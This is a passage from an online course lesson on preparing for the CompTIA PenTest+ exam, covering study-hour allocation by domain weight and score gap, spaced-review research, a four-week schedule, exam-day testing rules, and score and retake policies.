1.0 Engagement Management, 13%80%0.202.605.23.2
2.0 Reconnaissance and Enumeration, 21%75%0.255.258.46.5
3.0 Vulnerability Discovery and Analysis, 17%60%0.406.806.88.5
4.0 Attacks and Exploits, 35%70%0.3010.5014.013.1
5.0 Post-exploitation and Lateral Movement, 14%50%0.507.005.68.7
Total, 100%32.1540.040.0

Domains 3 and 5 gain hours from the others because Sam has more left to win there. Now change one input. Sam's Domain 4 score rises from 70 to 90 percent. Its weight x gap falls from 10.50 to 3.50, the total falls to 25.15, and the hours for Domains 1 to 5 become 4.1, 8.3, 10.8, 5.6 and 11.1. The largest domain on the exam drops to fourth place in Sam's calendar, which is correct, because most of its points are now in hand. It still keeps 5.6 hours, because points you stop revisiting fade.

Treat these numbers with suspicion in two ways. A ten-item quiz is thin evidence, since one question moves the score by ten points, so pool several sets before you move hours. And a retake of the same items partly measures your memory of those items, so rely on mixed sets, and on explaining why each wrong option is wrong. The sum is a planning device: no one publishes a way to turn a practice score into a scaled score.

Key idea: weight counts the points a domain holds, and your gap counts the ones you lack. Spend the last weeks on weight x gap, and keep every domain in rotation.

Spacing the last four weeks

Why not cram in the final week? Dunlosky and colleagues' 2013 review rated practice testing and distributed practice as high utility, and rereading and highlighting as low.[8] The first is often called the testing effect, and the second is the basis of spaced repetition. The forgetting curve is the background: the amount you lose per unit of time shrinks as time passes, so memory falls quickly at first and then more slowly.[9]

How far apart should reviews be? Nicholas Cepeda and colleagues taught more than 1,350 people 32 obscure but true facts, gave a review after a gap of up to 3.5 months, and tested recall up to a year after that.[9]

The best gap grew with the distance to the test: about 3 days when the test came 7 days after the review, about 8 days for 35, about 12 for 70 and about 27 for 350.[9] At the 35-day delay, the best gap improved recall by 59 percent over no gap at all.[9]

Those were trivia facts and one review, not technical judgment, so use the figures as a guide to scale. For an exam a month away they point to revisiting each topic about weekly, tightening to every two or three days in the last week. The schedule below is this course's own design, shaped by that evidence and not itself tested.

WhenRetrieval workTimed practiceTracker
Days 28-22Closed-book pass over every domain: one quiz for each row you have not touched in a week20 mixed items at 75 s each, 25 minutes, to measure your own paceEnter delayed scores, compute weight x gap, set the hours
Days 21-15Weakest rows first: blank page, then the lesson, then its quiz. Retake last week's missesRework two labs or worked examples with a five-minute capRescore and move hours
Days 14-8Mixed sets of 20 items split 3, 4, 3, 7, 3, and the course's final exam, which uses that split28 items plus two five-minute tasks in 45 minutes; then one full first pass, 135 minutes with no breakSort your misses: did not know, misread a limit, ran out of time
Days 7-2Short closed-book sessions every two or three days, on your misses and the pairs tableThe 45-minute block once moreNo new resources; bookkeeping only
Day beforeThe pairs table once, then logistics, then stop earlyNoneDone

The split is 20 items x 13, 21, 17, 35 and 14 percent = 2.6, 4.2, 3.4, 7.0 and 2.8, rounded. The 45-minute block keeps the plan's ratio: 28 x 75 s = 35 minutes, plus 2 x 5 = 10 minutes. In every session, retrieve before you read: write what you remember of a row on a blank page, then open the lesson, then take the quiz.

When should you book? These are this course's signs, not a formula:

  • every row has a delayed score, taken a week or more after you last studied it
  • the 45-minute block fits, twice
  • you can sort a fresh scan against a fresh scope inside five minutes
  • your misses have moved from "did not know" to slips you can name

None of these signs predicts a score, and CompTIA's exam development page says it gives no guarantee of a pass even to candidates who use its official training.[4]

A schematic graph of memory against days: a red curve falls steeply, and green curves that start after reviews on days 1, 2 and 3 each fall more slowly.
A schematic forgetting curve
The original uploader was Icez at English Wikipedia . - Public domain - Wikimedia Commons
Five numbered boxes in a row: cards answered correctly move on to the next box, and cards answered incorrectly go back to box 1.
The Leitner box system of spaced review
Zirguezi - CC0 - Wikimedia Commons

The day itself: rules that change the plan

Several rules touch the time plan, as CompTIA published them on 3 November 2026.

The ruleWhat it changes
One session with no scheduled breaks, at a test center or online, and online proctors cannot pause the exam or add time.[4]The clock keeps running. Go beforehand, and rehearse one full sitting
Online: no physical notes, but you may use the built-in digital whiteboard.[4]Write the three checkpoints there when you start, and list the question numbers you owe a return visit. Use a mark-for-review control if your screen has one
Online: check-in opens 30 minutes before, and more than 15 minutes late you cannot test. Run the OnVUE system test on the same device and network, with no corporate network or VPN.[4]Run the system test days ahead, and start check-in when it opens
Online: do not read questions aloud, stay in webcam view, and keep your eyes on the screen.[4]If you murmur or look away when you think, train it out during timed practice
Test center: you are photographed, and since 2 November 2026 you may bring one clear, colorless plastic bottle of water, up to 750 mL, with no labels.[4]Read the bottle rules first; a bottle that fails them stays in a locker
English as a second language: 30 extra minutes for English delivery in non-English-speaking countries where no local version exists. Other accommodations need Pearson VUE approval before you schedule.[4]If eligible, rerun the budget with 195 minutes

These pages change: the water bottle rule took effect the day before this lesson was checked. In your last week, reread CompTIA's candidate testing policies and, if you test online, its online-proctored exam guidelines. The ID rules, and the rules for candidates under 18, are in Lesson 1.

Students, seen mostly from behind, sit at older monitors displaying a test page during a department's placement exam.
A computer-based placement exam in a college lab (not a CompTIA test center)
Dennis Sylvester Hurd from Minuwangoda, WP, Sri Lanka, Canada - CC0 - Wikimedia Commons

How your result is reported, and what to do with it

The exam reports a score on the 100-900 scale, and 750 passes.[2] The comparison is with a fixed cut score: this is a criterion-referenced test, so your result does not depend on who else sat that month.[4] CompTIA does not publish pass rates, and it says passing scores are set statistically and can change.[4] Online you review your score on screen after a post-exam survey, and you may not photograph or take notes from the results screen.[4] Exam content is not available for review, so you will not see which items you missed.[4]

If you pass, the certification lasts three years, and Lesson 1 covers renewal.[4] It does not authorize you to test anything: that still takes the system owner's written permission, for a defined scope. If you do not pass, there is no wait before a second attempt and at least 14 calendar days before a third or later.[4] The policy permits an immediate retake, but your tracker should pick the date. Write the attempt up the way Module 9 taught you to write a finding, with a root cause you can change.

  • Title: first attempt not passed, scored 690 (a fictional example).
  • Evidence: the score report, and your memory of the clock: question 60 at about minute 112, against a checkpoint at minute 90.
  • Root cause: a multiple-choice pace of about 95 seconds, never measured under time. "Bad at exams" is no root cause, because nothing can be done with it.
  • Remediation: two weeks of timed mixed sets, then rebook once the 45-minute block has held twice.

Common misconceptions

  • "Reset undoes my last step." It removes all your work on that question, and nothing else. Correct small errors by hand.
  • "The biggest domain always gets the most hours." Weight counts the points; your gap counts the ones you lack.
  • "A brain dump is just aggressive practice." It is copied exam content, and CompTIA says people who use it will lose their certifications and be suspended from testing.
  • "A high practice score means I will pass." No conversion exists from a practice score to the 750, and no course or provider can promise a pass.

Putting it together

  • 165 / 90 = 1.83 minutes, about 1 minute 50 seconds, is only the average. The plan is a 135-minute first pass at 1.5 minutes a question, 15 minutes of return visits and a 15-minute last look.
  • The checkpoints are question 30 at minute 45, question 60 at minute 90 and question 90 at minute 135. Inside the pass, multiple-choice gets 75 seconds and a simulation five minutes; 20 extra seconds on 84 items costs 28 minutes.
  • CompTIA lists PenTest+ with simulations, says some PBQs may offer partial credit and some may carry more points, and keeps the scoring confidential, so leave no field empty.[3]
  • Reset removes all your work on that one question and nothing else, Next or Previous saves it, and show question brings the instructions back.[3]
  • The five moves are ask, limits, evidence, sure rows and exit, with every field filled when you leave.
  • A /25 holds 128 addresses and a /24 holds 256. An exclusion beats a range, a filtered port is a limitation, a version string gets validated, and observed behavior gets reported.
  • The weights are 13, 21, 17, 35 and 14 percent.[1] Study priority is weight x gap, so 14 x 0.50 = 7.00 beats 35 x 0.10 = 3.50, and 20 mixed items split 3, 4, 3, 7, 3.
  • In Cepeda's study the best review gap for recall was about 8 days for a test 35 days after the review, and about 3 days for a test 7 days after it.[9] Review weekly, then every two or three days at the end.
  • The objectives document says brain dump users will have their certifications revoked and be suspended from testing.[1] No practice score converts to the 750, and nothing guarantees a pass.

Sources

  1. CompTIA. (2023). CompTIA PenTest+ PT0-003 V3 certification exam objectives (Exam Objectives Document Version 5.0, printed December 2024): authorized materials use policy, test details, and domain percentages. CompTIA (PDF)
  2. CompTIA. (2026). CompTIA PenTest+ (exam details for V3, PT0-003; retrieved 3 November 2026). comptia.org
  3. CompTIA. (n.d.). Performance-based questions; (2024, December 14). What is a performance-based question?; (2024, December 18). Performance-based questions FAQs. comptia.org (PBQ page); comptia.org (blog); comptia.org (FAQs)
  4. CompTIA. (n.d.). Candidate testing policies, Online-proctored exam guidelines, Exam development, CompTIA certification retake policy and Certification renewal policy. comptia.org (testing policies); comptia.org (online guidelines); comptia.org (development); comptia.org (retakes); comptia.org (renewal)
  5. CompTIA. (n.d.). Unauthorized training materials FAQ; (2024, December 18). Why brain dumps don't work. comptia.org (FAQ); comptia.org (blog)
  6. Lyon, G. (n.d.). Nmap reference guide: Port scanning basics; and NSE documentation for the smb-protocols and ssl-cert scripts. port states; smb-protocols; ssl-cert
  7. Red Hat. (n.d.). Security backporting practice. Red Hat Customer Portal. access.redhat.com
  8. Dunlosky, J., Rawson, K. A., Marsh, E. J., Nathan, M. J., and Willingham, D. T. (2013). Improving students' learning with effective learning techniques: Promising directions from cognitive and educational psychology. Psychological Science in the Public Interest, 14(1), 4-58. Summary at Association for Psychological Science
  9. Cepeda, N. J., Vul, E., Rohrer, D., Wixted, J. T., and Pashler, H. (2008). Spacing effects in learning: A temporal ridgeline of optimal retention. Psychological Science, 19(11), 1095-1102. doi.org
Key terms
Performance-based question (PBQ)
An exam item that has you carry out a task in a simulated or virtual environment, rather than choose one answer from a list.
Reset button (PBQ)
The control in a CompTIA simulation that removes all your work on that one question and nothing else; it is not an undo.
First pass (exam)
One run through every exam question at a set pace, leaving unfinished items and doubts for a later return visit.
Partial credit
Credit for part of a correct response; CompTIA says some performance-based questions may offer it and keeps the details confidential.
Weight x gap
A study priority: a domain's exam weight multiplied by the share of its delayed practice questions you still miss.
Spaced repetition
Reviewing material at planned intervals rather than all at once, so that each review comes after some forgetting has begun.
Testing effect
The finding that retrieving information from memory strengthens later recall more than rereading it does.
Forgetting curve
The pattern in which memory that is not reviewed fades quickly at first and then more slowly.
Brain dump
Unauthorized copies of real exam questions, often pooled from test takers' memories; CompTIA treats using or contributing to them as cheating.
Criterion-referenced test
A test that scores each candidate against a fixed standard or cut score rather than against other candidates.

Open the interactive version with quizzes and progress →